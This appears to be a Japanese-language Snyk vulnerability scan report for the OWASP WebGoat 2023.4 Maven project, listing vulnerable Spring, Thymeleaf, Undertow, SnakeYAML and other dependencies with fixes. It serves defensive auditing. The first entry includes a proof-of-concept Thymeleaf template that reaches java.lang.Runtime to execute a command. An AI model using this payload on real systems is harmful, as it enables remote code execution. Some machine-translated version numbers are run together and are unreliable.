

## Snkyk テストレポート

2025年12月15日 午後7時16分54秒 (UTC+00:00)

次のパスをスキャンしました:

- C:\Users\WDAGUtilityAccount\Desktop\cloc\git\snkykTest\WebGoat-2023.4\pom.xml (Maven)

124件の既知の脆弱性

124の脆弱な依存パス

145 個の依存関係

プロジェクト

org.owasp.webgoat:webgoat パス C:\Users\WDAGUtilityAccount\Desktop\cloc\git\snkykTest\WebGoat-2023.4

パッケージマネージャー

Mavenマニフェスト

pom.xml

重大な深刻度

## サンドボックスバイパス

- パッケージ マネージャー: maven
- 脆弱なモジュール: org.thymeleaf:thymeleaf 導入元:
- org.owasp.webgoat:webgoat@2023.4, org.springframework.boot:spring-boot-starter-thymeleaf@2.7.1 など

## 詳細なパス

- 導入元: org.owasp.webgoat:webgoat@2023.4, org.springframework.boot:spring-boot-starter-thymeleaf@2.7.1, org.thymeleaf:thymeleaf-spring5@3.0.15.RELEASE, org.thymeleaf:thymeleaf@3.0.15.RELEASE

## 概要

このパッケージの影響を受けるバージョンは、チェックが不十分なためサンドボックスバイパスに対して脆弱であり、攻撃者が細工した HTML を介して任意のコードを実行できる可能性があります。

## 概念実証

```
<!DOCTYPE html>
<html xmlns:th="http://www.thymeleaf.org"> <head>
<meta
    http-equiv="Content-Type" content="text/html; charset=UTF-8"/> </head> <body>

<tr
    th:with="getRuntimeMethod=${T(org.springframework.util.ReflectionUtils).findMethod(T(org.springframework.util.ClassUtils).forName('java.lang.Runtime'),T(org.springframework.
    >
    <td>
        <a
            th:with="runtimeObj=${T(org.springframework.util.ReflectionUtils).invokeMethod(getRuntimeMethod, null)}"
        >
            <a
                th:with="exeMethod=${T(org.springframework.util.ReflectionUtils).findMethod(T(org.springframework.util.ClassUtils).forName('java.lang.Runtime'),T(org.springframework.
                >
                <a
                    th:with="param2=${T(org.springframework.util.ReflectionUtils).invokeMethod(exeMethod, runtimeObj, 'calc')}"
                >
                    th:href="${param2}"
                </a> </
            </a>
        </td>
    </tr>

</body>
</html>
```

## 修復

org.thymeleaf:thymeleaf をバージョン 3.1.2.RELEASE 以上にアップグレードします。

## 参考文献

- [GitHubコミット](#)
- [概念実証](#)

[この脆弱性の詳細](#)

重大な深刻度

## 不適切なアクセス制御

- パッケージ マネージャー: maven
- 脆弱なモジュール: org.springframework:spring-webmvc 導入元:
- org.owasp.webgoat:webgoat@2023.4、org.springframework.boot:spring-boot-starter-web@2.7.1 など

#### 詳細なパス

- 導入元: org.owasp.webgoat:webgoat@2023.4、org.springframework.boot:spring-boot-starter-web@2.7.1、org.springframework:spring-webmvc@5.3.21

#### 概要

[org.springframework:spring-webmvc](#)柔軟で疎結合な Web アプリケーションの開発に使用できるモデル - ビュー - コントローラ (MVC) アーキテクチャとすぐに使用できるコンポーネントを提供するパッケージです。

このパッケージの影響を受けるバージョンは、Spring Security 設定で mvcRequestMatcher を使用した際に、プレフィックスなしの二重ワイルドカードパターン ("\*\*") を使用した場合に、不適切なアクセス制御の脆弱性を生じます。この設定により、Spring Security と Spring MVC の間でパターンマッチングの矛盾が生じ、不正アクセスが発生する可能性があります。

注: Spring セキュリティ チームは既存の PoC に関する情報を公開していますが、PoC 自体は公開していないため、現時点では検証できません。

#### 修復

org.springframework:spring-webmvc をバージョン 5.3.26.6.0.7 以上にアップグレードします。

#### 参考文献

- [GitHubコミット](#)
- [春のブログ](#)
- [春のセキュリティアドバイザリ](#)

[この脆弱性の詳細](#)

重大な深刻度

## 承認がありません

- パッケージ マネージャー: maven
- 脆弱なモジュール: org.springframework.security:spring-security-web 導入元:
- org.owasp.webgoat:webgoat@2023.4、org.springframework.boot:spring-boot-starter-security@2.7.1 など

#### 詳細なパス

- 導入元: org.owasp.webgoat:webgoat@2023.4、org.springframework.boot:spring-boot-starter-security@2.7.1、org.springframework.security:spring-security-web@5.7.2

#### 概要

[org.springframework.security:spring-security-web](#)は、Spring IO プラットフォームにセキュリティ サービスを提供する Spring Security 内のパッケージです。

このパッケージの影響を受けるバージョンは、Missing Authorization の脆弱性があり、静的リソースに対して Spring Security の認可ルールをバイパスできる可能性があります。

注記：

非静的リソースはこの脆弱性の影響を受けません。これは、これらのルートのハンドラが、すべてのセキュリティフィルタがバイパスされている場合でも、述語を使用してリクエストを検証するためです。

Spring Security によれば、これがアプリケーションに影響を与えるには、次の条件がすべて満たされる必要があるということです。

1. WebFlux アプリケーションである必要があります。
2. Spring の静的リソース サポートを使用する必要があります。
3. 静的リソースのサポートには、非 permitAll 承認ルールを適用する必要があります。

#### 修復

org.springframework.security:spring-security-web をバージョン 5.7.13.5.8.15.6.2.7.6.3.4 以上にアップグレードします。

#### 参考文献

- [ブログ](#)
- [GitHubコミット](#)
- [GitHubコミット](#)
- [概念実証](#)
- [春のセキュリティアドバイザリ](#)

[この脆弱性の詳細](#)

重大な深刻度

## 主要な脆弱性による認証バイパス

- パッケージ マネージャー: maven
- 脆弱なモジュール: org.springframework.security:spring-security-crypto 導入元:
- org.owasp.webgoat:webgoat@2023.4、org.springframework.security:spring-security-test@5.7.2 など

## 詳細なパス

- 導入元: org.owasp.webgoat:webgoat@2023.4 › org.springframework.security:spring-security-test@5.7.2 › org.springframework.security:spring-security-core@5.7.2 › org.springframework.security:spring-security-crypto@5.7.2

## 概要

[org.springframework.security:spring-security-crypto](#) Spring Security 用の spring-security-crypto ライブラリです。

このパッケージの影響を受けるバージョンは、BCryptPasswordEncoder.matches() 関数の主要な脆弱性による認証バイパスの脆弱性を悪用する脆弱性を悪用します。この関数は最初の72文字のみを比較対象とします。この値を超えるパスワードは、最初の72文字が同じ他の文字列と比較した際に誤って true を返し、ブルートフォース攻撃が容易になります。

注: エンタープライズ サポート パッケージの古いバージョンに対してもパッチが発行されています。

## 修復

org.springframework.security:spring-security-crypto をバージョン 6.3.8、6.4.4 以上にアップグレードします。

## 参考文献

- [GitHubコミット](#)
- [脆弱性に関するアドバイス](#)

[この脆弱性の詳細](#)

重大な深刻度

## アクセス制御バイパス

- パッケージ マネージャー: maven
- 脆弱なモジュール: org.springframework.security:spring-security-config 導入元:
- org.owasp.webgoat:webgoat@2023.4, org.springframework.boot:spring-boot-starter-security@2.7.1 など

## 詳細なパス

- 導入元: org.owasp.webgoat:webgoat@2023.4 › org.springframework.boot:spring-boot-starter-security@2.7.1 › org.springframework.security:spring-security-config@5.7.2

## 概要

[org.springframework.security:spring-security-config](#) Spring Framework のセキュリティ構成パッケージです。

このパッケージの影響を受けるバージョンは、アクセス制御バイパスの脆弱性を有します。WebFlux の Spring Security 設定で \*\* をパターンとして使用すると、Spring Security と Spring WebFlux の間でパターンマッチングの不一致が生じ、セキュリティバイパスが発生します。

注記:

修正されたバージョンには、Spring Framework のバージョンが必要です。

1. 6.0.11 以上

2. 5.3.29 以降

3. 5.2.25 以降

注: Spring セキュリティ チームは既存の PoC に関する情報を公開していますが、PoC 自体は公開していないため、現時点では検証できません。

## 修復

org.springframework.security:spring-security-config をバージョン 5.6.12、5.7.10、5.8.5、6.0.5、6.1.2 以上にアップグレードします。

## 参考文献

- [GitHubコミット](#)
- [春のセキュリティアドバイザリ](#)

[この脆弱性の詳細](#)

重大な深刻度

## HTTPリクエストの密輸

- パッケージ マネージャー: maven
- 脆弱なモジュール: io.undertow:undertow-core
- org.owasp.webgoat:webgoat@2023.4, org.springframework.boot:spring-boot-starter-undertow@2.7.1 などを通じて導入されました

## 詳細なパス

- 導入元: org.owasp.webgoat:webgoat@2023.4 › org.springframework.boot:spring-boot-starter-undertow@2.7.1 › io.undertow:undertow-core@2.2.18.Final

## 概要

[io.undertow:undertow-core](#) 非ブロッキング IO に基づく Java Web サーバーです。

このパッケージの影響を受けるバージョンは、parseCookie()関数における引用符と区切り文字の相互作用により、HTTP リクエストスマグリングの脆弱性を悪用する可能性があります。攻撃者は、HttpOnly キーの値を盗み出したり、追加のクッキー値を密かに取得したりする可能性があります。

## 修復

io.undertow:undertow-coreをバージョン 2.2.30.Final、2.3.11.Final 以上にアップグレードします。

## 参考文献

- [GitHubコミット](#)
- [GitHubコミット](#)
- [Red Hat Bugzilla バグ](#)
- [Red Hat問題](#)

[この脆弱性の詳細](#)

高重症度

## サービス拒否 (DoS)

- パッケージ マネージャー: maven
- 脆弱なモジュール: org.yaml:snakeyaml 導入元:
- org.owasp.webgoat:webgoat@2023.4、org.springframework.boot:spring-boot-starter-validation@2.7.1 など

### 詳細なパス

- 導入元: org.owasp.webgoat:webgoat@2023.4、org.springframework.boot:spring-boot-starter-validation@2.7.1、org.springframework.boot:spring-boot-starter@2.7.1、org.yaml:snakeyaml@1.30

### 概要

[org.yaml:snakeyaml](#) は、Java 用の YAML 1.1 パーサーおよびエミッターです。

このパッケージの影響を受けるバージョンは、コレクションのネスト深度制限が欠落しているため、サービス拒否 (DoS) に対して脆弱です。

注: この脆弱性は [CVE-2022-38749](#) としても特定されています。

### 詳細

サービス拒否 (DoS) とは、対象となる正当なユーザーがシステムにアクセスできないようにすることを目的とした一連の攻撃を指します。

他の脆弱性とは異なり、DoS 攻撃は通常、セキュリティ侵害を目的としたものではありません。むしろ、正規のユーザーがウェブサイトやサービスを利用できないようにし、ダウンタイムを引き起こすことに重点を置いています。

よくあるサービス拒否の脆弱性の 1 つに DDoS (分散型サービス拒否) があります。これは、多数のマシンから大量のトラフィックを生成してシステムへのネットワーク パイプを詰ませようとする攻撃です。

オープンソース ライブラリの場合、DoS 脆弱性により、攻撃者はアプリケーション コードまたはオープンソース ライブラリの使用上の欠陥を利用して、サービスのクラッシュや機能停止を引き起こすことができます。

DoS 脆弱性の一般的な 2 つのタイプ:

- CPU/メモリ消費量の増大 - 攻撃者は、システムの処理に過度な時間を要する可能性のある細工されたリクエストを送信します。例: [commons-fileupload:commons-fileupload](#)。

- クラッシュ - 攻撃者が細工したリクエストを送信し、システムをクラッシュさせる。例えば、[npm ws](#) パッケージ

### 修復

org.yaml:snakeyaml をバージョン 1.31 以上にアップグレードします。

## 参考文献

- [Bitbucketコミット](#)
- [BitBucketの問題](#)
- [GitHubコミット](#)

[この脆弱性の詳細](#)

高重症度

## サービス拒否 (DoS)

- パッケージ マネージャー: maven
- 脆弱なモジュール: org.yaml:snakeyaml 導入元:
- org.owasp.webgoat:webgoat@2023.4、org.springframework.boot:spring-boot-starter-validation@2.7.1 など

### 詳細なパス

- 導入元: org.owasp.webgoat:webgoat@2023.4、org.springframework.boot:spring-boot-starter-validation@2.7.1、org.springframework.boot:spring-boot-starter@2.7.1、org.yaml:snakeyaml@1.30

### 概要

[org.yaml:snakeyaml](#) は、Java 用の YAML 1.1 パーサーおよびエミッターです。

このパッケージの影響を受けるバージョンは、コレクションのネスト深度制限が欠落しているため、サービス拒否 (DoS) に対して脆弱です。

注: この脆弱性は CVE-2022-25857 としても特定されています。

## 詳細

サービス拒否 (DoS) とは、対象となる正当なユーザーがシステムにアクセスできないようにすることを目的とした一連の攻撃を指します。

他の脆弱性とは異なり、DoS 攻撃は通常、セキュリティ侵害を目的としたものではありません。むしろ、正規のユーザーがウェブサイトやサービスを利用できないようにし、ダウンタイムを引き起こすことに重点を置いています。

よくあるサービス拒否の脆弱性の 1 つに DDoS (分散型サービス拒否) があります。これは、多数のマシンから大量のトラフィックを生成してシステムへのネットワーク パイプを詰ませようとする攻撃です。

オープンソース ライブラリの場合、DoS 脆弱性により、攻撃者はアプリケーション コードまたはオープンソース ライブラリの使用上の欠陥を利用して、サービスのクラッシュや機能停止を引き起こすことができます。

DoS 脆弱性の一般的な 2 つのタイプ:

- CPU/メモリ消費量の増大 - 攻撃者は、システムの処理に過度な時間を要する可能性のある細工されたリクエストを送信します。例: commons-fileupload:commons-fileupload。
- クラッシュ - 攻撃者が細工したリクエストを送信し、システムをクラッシュさせる。例えば、npm ws/パッケージ

## 修復

org.yaml:snakeyaml をバージョン 1.31 以上にアップグレードします。

## 参考文献

- [Bitbucketコミット](#)
- [BitBucketの問題](#)
- [GitHubコミット](#)

[この脆弱性の詳細](#)

高重症度

## パストラバーサル

- パッケージ マネージャー: maven
- 脆弱なモジュール: org.springframework:spring-webmvc 導入元:
- org.owasp.webgoat:webgoat@2023.4,org.springframework.boot:spring-boot-starter-web@2.7.1 など

## 詳細なパス

- 導入元: org.owasp.webgoat:webgoat@2023.4 > org.springframework.boot:spring-boot-starter-web@2.7.1 > org.springframework:spring-webmvc@5.3.21

## 概要

[org.springframework:spring-webmvc](#) 柔軟で疎結合な Web アプリケーションの開発に使用できるモデル - ビュー - コントローラ (MVC) アーキテクチャとすぐに使用できるコンポーネントを提供するパッケージです。

このパッケージの影響を受けるバージョンは、WebMvc.fn および WebFlux.fn フレームワークを介したパストラバーサルに対して脆弱です。攻撃者は、悪意のある HTTP リクエストを作成することで、Spring アプリケーションが実行されているプロセスからもアクセス可能なファイルシステム上の任意のファイルにアクセスできるようになります。

注記:

これは、Web アプリケーションが静的リソースを提供するために RouterFunctions を使用し、リソース処理が明示的に設定されている場合にのみ悪用可能です。  
FileSystemResource の場所。

## 回避策

この脆弱性は、Spring Security HTTP フィルタを使用するか、Tomcat または Jetty でアプリケーションを実行することで軽減できます。

## 修復

org.springframework:spring-webmvc をバージョン 6.1.13 以上にアップグレードします。

## 参考文献

- [GitHubコミット](#)
- [春のセキュリティアドバイザリ](#)
- [核テンプレート](#)
- [GitHubでの概念実証](#)

[この脆弱性の詳細](#)

高重症度

## パストラバーサル

- パッケージ マネージャー: maven
- 脆弱なモジュール: org.springframework:spring-webmvc 導入元:
- org.owasp.webgoat:webgoat@2023.4,org.springframework.boot:spring-boot-starter-web@2.7.1 など

## 詳細なパス

- 導入元: org.owasp.webgoat:webgoat@2023.4 › org.springframework.boot:spring-boot-starter-web@2.7.1 › org.springframework:spring-webmvc@5.3.21

## 概要

[org.springframework:spring-webmvc](#)柔軟で疎結合な Web アプリケーションの開発に使用できるモデル - ビュー - コントローラ (MVC) アーキテクチャとすぐに使用できるコンポーネントを提供するパッケージです。

このパッケージの影響を受けるバージョンは、機能的なウェブフレームワークWebMvc.fnまたはWebFlux.fnを介したバストラバーサルに対して脆弱です。攻撃者は悪意のある HTTP リクエストを作成し、ファイルシステム上のアクセス可能な任意のファイルを取得する可能性があります。

注:これはCVE-2024-38816に類似しています\_\_\_\_\_、ただし、入力が異なります。

## 修復

org.springframework:spring-webmvcをバージョン 6.1.14 以上にアップグレードします。

## 参考文献

- [GitHubコミット](#)
- [春のセキュリティアドバイザリ](#)
- [GitHubでの概念実証](#)

[この脆弱性の詳細](#)

高重症度

## オープンリダイレクト

- パッケージ マネージャー: maven
- 脆弱なモジュール: org.springframework:spring-web 導入元:
- org.owasp.webgoat:webgoat@2023.4、org.springframework.boot:spring-boot-starter-web@2.7.1 など

## 詳細なパス

- 導入元: org.owasp.webgoat:webgoat@2023.4 › org.springframework.boot:spring-boot-starter-web@2.7.1 › org.springframework:spring-web@5.3.21

## 概要

[org.springframework:spring-web](#)あらゆる種類のデプロイメント プラットフォーム上で、最新の Java ベースのエンタープライズ アプリケーションに包括的なプログラミングおよび構成モデルを提供するパッケージです。

このパッケージの影響を受けるバージョンは、 UriComponentsBuilder が外部から提供された URL を解析し、その後アプリケーションがその URL を使用する際に、オープンリダイレクトの脆弱性を生じます。パス、クエリ、フラグメントなどの階層構造のコンポーネントが含まれている場合、検証を回避される可能性があります。

## 修復

org.springframework:spring-webをバージョン 5.3.32、6.0.17、6.1.4 以上にアップグレードします。

## 参考文献

- [GitHubコミット](#)
- [概念実証](#)
- [春の注意報](#)

[この脆弱性の詳細](#)

高重症度

## オープンリダイレクト

- パッケージ マネージャー: maven
- 脆弱なモジュール: org.springframework:spring-web 導入元:
- org.owasp.webgoat:webgoat@2023.4、org.springframework.boot:spring-boot-starter-web@2.7.1 など

## 詳細なパス

- 導入元: org.owasp.webgoat:webgoat@2023.4 › org.springframework.boot:spring-boot-starter-web@2.7.1 › org.springframework:spring-web@5.3.21

## 概要

[org.springframework:spring-web](#)あらゆる種類のデプロイメント プラットフォーム上で、最新の Java ベースのエンタープライズ アプリケーションに包括的なプログラミングおよび構成モデルを提供するパッケージです。

このパッケージの影響を受けるバージョンは、 UriComponentsBuilderを使用して外部から提供されたURLを解析し、解析された URL のホストに対して検証チェックを実行するときに、オープンリダイレクトに対して脆弱です。

注:これはCVE-2024-22243と同じです\_\_\_\_\_、ただし、入力が異なります。

## 修復

org.springframework:spring-webをバージョン 5.3.33、6.0.18、6.1.5 以上にアップグレードします。

## 参考文献

- [GitHubコミット](#)
- [春の注意報](#)

[この脆弱性の詳細](#)

高重症度

## 不正な承認

- パッケージ マネージャー: maven
- 脆弱なモジュール: org.springframework:spring-core 導入元:
- org.owasp.webgoat:webgoat@2023.4,org.springframework.boot:spring-boot-starter-test@2.7.1 など

## 詳細なパス

- 導入元: org.owasp.webgoat:webgoat@2023.4 › org.springframework.boot:spring-boot-starter-test@2.7.1 › org.springframework:spring-core@5.3.21

## 概要

[org.springframework:spring-core](#)複数のクラスとユーティリティを含む、Spring フレームワーク内のコア パッケージです。

このパッケージの影響を受けるバージョンは、AnnotationsScanner クラスおよびAnnotatedMethod クラスを介した不正な認証に対して脆弱です。攻撃者は、パラメータ化されたスーパー タイプと無制限のジェネリックを使用する型階層内のメソッドにおけるアノテーションの不適切な解決を悪用することで、機密情報への不正アクセスを取得する可能性があります。

注意: これは、ジェネリック スーパークラスまたはジェネリック インターフェースのメソッドでセキュリティ アノテーションが使用され、`@EnableMethodSecurity`機能が有効になっている場合にのみ悪用可能です。

## 修復

org.springframework:spring-core をバージョン 6.2.11 以上にアップグレードします。

## 参考文献

- [GitHubコミット](#)
- [GitHubの問題](#)
- [GitHubリリース](#)
- [ベンダーアドバイザリ](#)

[この脆弱性の詳細](#)

高重症度

## 相対パス トラバーサル

- パッケージ マネージャー: maven
- 脆弱なモジュール: org.springframework:spring-beans 導入元:
- org.owasp.webgoat:webgoat@2023.4,org.springframework.boot:spring-boot-starter-web@2.7.1 など

## 詳細なパス

- 導入元: org.owasp.webgoat:webgoat@2023.4 › org.springframework.boot:spring-boot-starter-web@2.7.1 › org.springframework:spring-web@5.3.21 › org.springframework:spring-beans@5.3.21

## 概要

[org.springframework:spring-beans](#) Spring Framework の IoC コンテナの基盤となるパッケージです。BeanFactory インターフェースは、あらゆるタイプのオブジェクトを管理できる高度な設定メカニズムを提供します。

このパッケージの影響を受けるバージョンは、非準拠のサーブレットコンテナにデプロイされた場合、相対パス トラバーサルの脆弱性を悪用される可能性があります。認証されていない攻撃者が、意図した Web ルート外のファイルやディレクトリにアクセスできる可能性があります。

注:

1. これは、アプリケーションが WAR としてデプロイされているか、サーブレットコンテナが埋め込まれている場合にのみ悪用可能です。サーブレットコンテナは拒否しません。  
疑わしいシケンスとアプリケーションは、Spring リソース処理を使用して静的リソースを提供します。
2. Apache Tomcat または Eclipse Jetty にデプロイされたアプリケーションは、デフォルトのセキュリティ機能が無効になっていない限り、脆弱性はありません。  
構成。
3. この脆弱性は、商用バージョン 6.1.22 および 5.3.44 でも修正されています。

## 修復

org.springframework:spring-beans をバージョン 6.2.10 以上にアップグレードします。

## 参考文献

- [GitHubコミット](#)
- [GitHubリリース](#)
- [春のリリース](#)
- [ベンダーアドバイザリ](#)

[この脆弱性の詳細](#)

高重症度

## 認証バイパス

- パッケージ マネージャー: maven
- 脆弱なモジュール: org.springframework.security:spring-security-web 導入元:
- org.owasp.webgoat:webgoat@2023.4.org.springframework.boot:spring-boot-starter-security@2.7.1 など

### 詳細なパス

- 導入元: org.owasp.webgoat:webgoat@2023.4 > org.springframework.boot:spring-boot-starter-security@2.7.1 > org.springframework.security:spring-security-web@5.7.2

### 概要

[org.springframework.security:spring-security-web](#)は、Spring IO プラットフォームにセキュリティ サービスを提供する Spring Security 内のパッケージです。

このパッケージの影響を受けるバージョンは、転送またはインクルードディスパッチャタイプを介した認証バイパスに対して脆弱です。

アプリケーションが脆弱であるとは、以下のすべてが当てはまる場合です。 真実：

- アプリケーションは、Spring Security がセキュリティを forward および include ディスパッチャ タイプに適用することを想定しています。
- アプリケーションは、AuthorizationFilter を手動で、またはauthorizeHttpRequests()メソッド経由で使用します。
- アプリケーションは、リクエストを転送および/またはインクルードするためにFilterChainProxyを設定します（例: spring.security.filter.dispatcher-types = request、error、async、forward、include）。
- アプリケーションは、より高い権限で保護されたエンドポイントにリクエストを転送したり、リクエストを含めたりすることができます。
- アプリケーションは、authorizeHttpRequests().shouldFilterAllDispatcherTypes(true)を介してすべてのディスパッチャ タイプに適用するように Spring Security を構成します。

次のいずれかに該当する場合、アプリケーションは脆弱ではありません。

- アプリケーションはauthorizeHttpRequests()またはAuthorizationFilterを使用しません。
- アプリケーションはリクエストを転送/含めません。
- アプリケーションでは、 FORWARD および INCLUDE ディスパッチャ タイプに適用するために Spring Security を構成する必要はありません。

### 回避策

アップグレードできないユーザーは、AuthorizeRequests().filterSecurityInterceptorOncePerRequest(false)の代わりに AuthorizeHttpRequests().shouldFilterAllDispatcherTypes(true)。

shouldFilterAllDispatcherTypesが利用できないバージョン 5.7.0 未満のユーザーは、ObjectPostProcessorを追加する必要があります。

```
authorizeHttpRequests().withObjectPostProcessor(新しい
    ObjectPostProcessor<認可フィルタ>() {
        @Override
        public<O extends AuthorizationFilter> O postProcess(O filter) {
            filter.setObserveOncePerRequest(false);
            filter.setFilterAsyncDispatch(true);
            filter.setFilterErrorDispatch(true); フィルターを
            返します。 }});
```

注記：

Spring Security 5では、デフォルトの動作ではリクエストに対してフィルターを複数回適用しないため、ユーザーはSpring Securityを明示的に設定する必要があります。また、FilterChainProxyは、forwardおよびinclude ディスパッチャータイプでは呼び出されるように設定されていません。

### 修復

org.springframework.security:spring-security-webをバージョン 5.6.9, 5.7.5 以上にアップグレードします。

### 参考文献

- [GitHubコミット](#)
- [GitHubの問題](#)
- [GitHubリリース](#)
- [Springドキュメント](#)
- [VMWare アドバイザリ](#)
- [GitHubでの概念実証](#)

[この脆弱性の詳細](#)

高重症度

## 不適切なアクセス制御

- パッケージ マネージャー: maven
- 脆弱なモジュール: org.springframework.security:spring-security-core 導入元:
- org.owasp.webgoat:webgoat@2023.4.org.springframework.security:spring-security-test@5.7.2 など

### 詳細なパス

- 導入元: org.owasp.webgoat:webgoat@2023.4 › org.springframework.security:spring-security-test@5.7.2 › org.springframework.security:spring-security-core@5.7.2

## 概要

[org.springframework.security:spring-security-core](#) Spring IO プラットフォームにセキュリティ サービスを提供するパッケージです。

このパッケージの影響を受けるバージョンは、アプリケーションがAuthenticatedVoterを直接使用し、nullの認証パラメータが渡された場合、不適切なアクセス制御の脆弱性を悪用される可能性があります。この脆弱性を悪用すると、誤ったtrue値が返されます。

### 注記

次の場合、ユーザーは影響を受けません。

1. アプリケーションはAuthenticatedVoter#vote を直接使用しません。
2. アプリケーションはAuthenticatedVoter#voteにnullを渡しません。

## 修復

org.springframework.security:spring-security-coreをバージョン 5.7.12, 5.8.11, 6.0.10, 6.1.8, 6.2.3 以上にアップグレードします。

## 参考文献

- [GitHubコミット](#)
- [GitHubの問題](#)
- [セキュリティアドバイザリ](#)

[この脆弱性の詳細](#)

高重症度

## サービス拒否 (DoS)

- パッケージ マネージャー: maven
- 脆弱なモジュール: org.springframework.boot:spring-boot-autoconfigure 導入元:
- org.owasp.webgoat:webgoat@2023.4, org.springframework.boot:spring-boot-starter-validation@2.7.1 など

### 詳細なパス

- 導入元: org.owasp.webgoat:webgoat@2023.4, org.springframework.boot:spring-boot-starter-validation@2.7.1, org.springframework.boot:spring-boot-starter@2.7.1, org.springframework.boot:spring-boot-autoconfigure@2.7.1

## 概要

このパッケージの影響を受けるバージョンは、Spring MVC をリバース プロキシ キャッシュと一緒に使用すると、サービス拒否 (DoS) に対して脆弱です。

具体的には、次の条件がすべて当てはまる場合、アプリケーションは脆弱です。

- アプリケーションではSpring MVCの自動構成が有効になっています。Spring MVCがクラスパス上にある場合、デフォルトで有効になります。
- アプリケーションは、静的またはテンプレート化された Spring Boot のウェルカム ページ サポートを使用します。
- アプリケーションは、404 応答をキャッシュするプロキシの背後にデプロイされます。

次のいずれかに該当する場合、アプリケーションは脆弱ではありません。

- Spring MVCの自動設定は無効です。WebMvcAutoConfigurationが明示的に除外されている場合、Spring MVCがクラスパス上にない場合、または spring.main.web-application-type が SERVLET 以外の値に設定されている
- アプリケーションは Spring Boot のウェルカム ページ サポートを使用しません。
- 404 応答をキャッシュするプロキシはありません。

## 回避策

アップグレードできないユーザーは、リバース プロキシを設定して、404 応答をキャッシュしないようにし、アプリケーションのルート (/) への要求に対する応答をキャッシュしないようにする必要があります。

## 詳細

サービス拒否 (DoS) とは、対象となる正当なユーザーがシステムにアクセスできないようにすることを目的とした一連の攻撃を指します。

他の脆弱性とは異なり、DoS 攻撃は通常、セキュリティ侵害を目的としたものではありません。むしろ、正規のユーザーがウェブサイトやサービスを利用できないようにし、ダウンタイムを引き起こすことに重点を置いています。

よくあるサービス拒否の脆弱性の 1 つに DDoS (分散型サービス拒否) があります。これは、多数のマシンから大量のトラフィックを生成してシステムへのネットワーク パイプを詰まらせようとする攻撃です。

オープンソース ライブラリの場合、DoS 脆弱性により、攻撃者はアプリケーション コードまたはオープンソース ライブラリの使用上の欠陥を利用して、サービスのクラッシュや機能停止を引き起こすことができます。

DoS 脆弱性の一般的な 2 つのタイプ:

- CPU/メモリ消費量の増大 - 攻撃者は、システムの処理に過度な時間を要する可能性のある細工されたリクエストを送信します。例: commons-fileupload:commons-fileupload。
- クラッシュ - 攻撃者が細工したリクエストを送信し、システムをクラッシュさせる。例えば、[npm ws/パッケージ](#)

## 修復

org.springframework.boot:spring-boot-autoconfigure をバージョン 2.5.15, 2.6.15, 2.7.12, 3.0.7 以上にアップグレードします。

## 参考文献

- [GitHubコミット](#)

- [GitHubの問題](#)
- [GitHubリリース](#)

[この脆弱性の詳細](#)

高重症度

## アクセス制限のバイパス

- パッケージ マネージャー: maven
- 脆弱なモジュール: org.springframework.boot:spring-boot-actuator-autoconfigure 導入元:
- org.owasp.webgoat:webgoat@2023.4、org.springframework.boot:spring-boot-starter-actuator@2.7.1 など

### 詳細なパス

- 導入元: org.owasp.webgoat:webgoat@2023.4、org.springframework.boot:spring-boot-starter-actuator@2.7.1、org.springframework.boot:spring-boot-actuator自動構成@2.7.1

### 概要

このパッケージの影響を受けるバージョンは、ワイルドカードパターンマッチングの不適切な実装により、アクセス制限バイパスに対して脆弱です。

次の条件がすべて当てはまる場合、アプリケーションは脆弱です。

- ユーザーは、/cloudfoundryapplication/\*\*に一致するリクエストを処理できるコードを持っています。通常、これはキャッチオールリクエストマッピングがある場合に発生します。  
一致する/\*\*
- アプリケーションが Cloud Foundry にデプロイされます。

注意: Spring Cloud Config Server を使用するアプリケーションは、デフォルトで/cloudfoundryapplication/\*\*へのリクエストを処理できるため、Cloud Foundry にデプロイされた場合に脆弱になる可能性があります。

次のいずれかに該当する場合、アプリケーションは脆弱ではありません。

- アプリケーションが Cloud Foundry にデプロイされていない
- ユーザーがmanagement.cloudfoundry.enabledをfalseに設定してCloud Foundry アクチュエータのエンドポイントを無効にしている
- アプリケーションには、/cloudfoundryapplication/\*\*へのリクエストを処理できるハンドラーマッピングがありません。

### 回避策

修正バージョンにアップグレードできないユーザーは、management.cloudfoundry.enabledをfalseに設定して、Cloud Foundry アクチュエータ エンドポイントを無効にすることができます。

### 修復

org.springframework.boot:spring-boot-actuator-autoconfigure をバージョン 2.5.15、2.6.15、2.7.11、3.0.6 以上にアップグレードします。

### 参考文献

- [警告](#)
- [GitHubコミット](#)
- [GitHubコミット](#)
- [GitHubの問題](#)
- [GitHubリリース](#)

[この脆弱性の詳細](#)

高重症度

## 過剰なサイズ値によるメモリ割り当て

- パッケージ マネージャー: maven
- 脆弱なモジュール: org.jruby:jruby-stdlib 導入
- 元: org.owasp.webgoat:webgoat@2023.4、org.asciidoctor:asciidoctorj@2.5.3 など

### 詳細なパス

- 導入元: org.owasp.webgoat:webgoat@2023.4、org.asciidoctor:asciidoctorj@2.5.3、org.jruby:jruby@9.3.6.0、org.jruby:jruby-stdlib@9.3.6.0

### 概要

[org.jruby:jruby-stdlib](#) JRuby Lib セットアップ パッケージです。

このパッケージの影響を受けるバージョンは、ResponseReaderクラスにおける過剰なサイズ値によるメモリ割り当ての脆弱性を有しています。攻撃者は、クライアントが開始した接続へのレスポンスに「リテラル」文字列を含めることで、アプリケーションに過剰なメモリを割り当てさせ、サービス拒否攻撃を引き起こす可能性があります。

IMAP コマンド。

修正後も、後方互換性を確保するため、デフォルトのmax\_response\_sizeは依然として高く (512MiB) なっています。信頼できないサーバーに接続する場合や、安全でない接続を使用する場合は、max\_response\_sizeを低く設定することをお勧めします。

### 修復

修正はマスター ブランチにプッシュされました、まだ公開されていません。

### 参考文献

- [GitHubコミット](#)
- [GitHub の PR](#)
- [GitHub の PR](#)
- [GitHub の PR](#)
- [GitHub の PR](#)
- [Red Hat Bugzilla バグ](#)

[この脆弱性の詳細](#)

高重症度

## 制御されていないリソース消費（「リソース枯渇」）

- パッケージ マネージャー: maven 脆
- 弱なモジュール: org.jboss.xnio:xnio-api 導入元:
- org.owasp.webgoat:webgoat@2023.4.org.springframework.boot:spring-boot-starter-undertow@2.7.1 など

### 詳細なパス

- 導入元: org.owasp.webgoat:webgoat@2023.4 › org.springframework.boot:spring-boot-starter-undertow@2.7.1 › io.undertow:undertow-core@2.2.18.Final › org.jboss.xnio:xnio-api@3.8.7.Final

### 概要

[org.jboss.xnio:xnio-api](#) NIO が使用されている場所であればどこでも使用できる、簡素化された低レベル I/O レイヤーです。

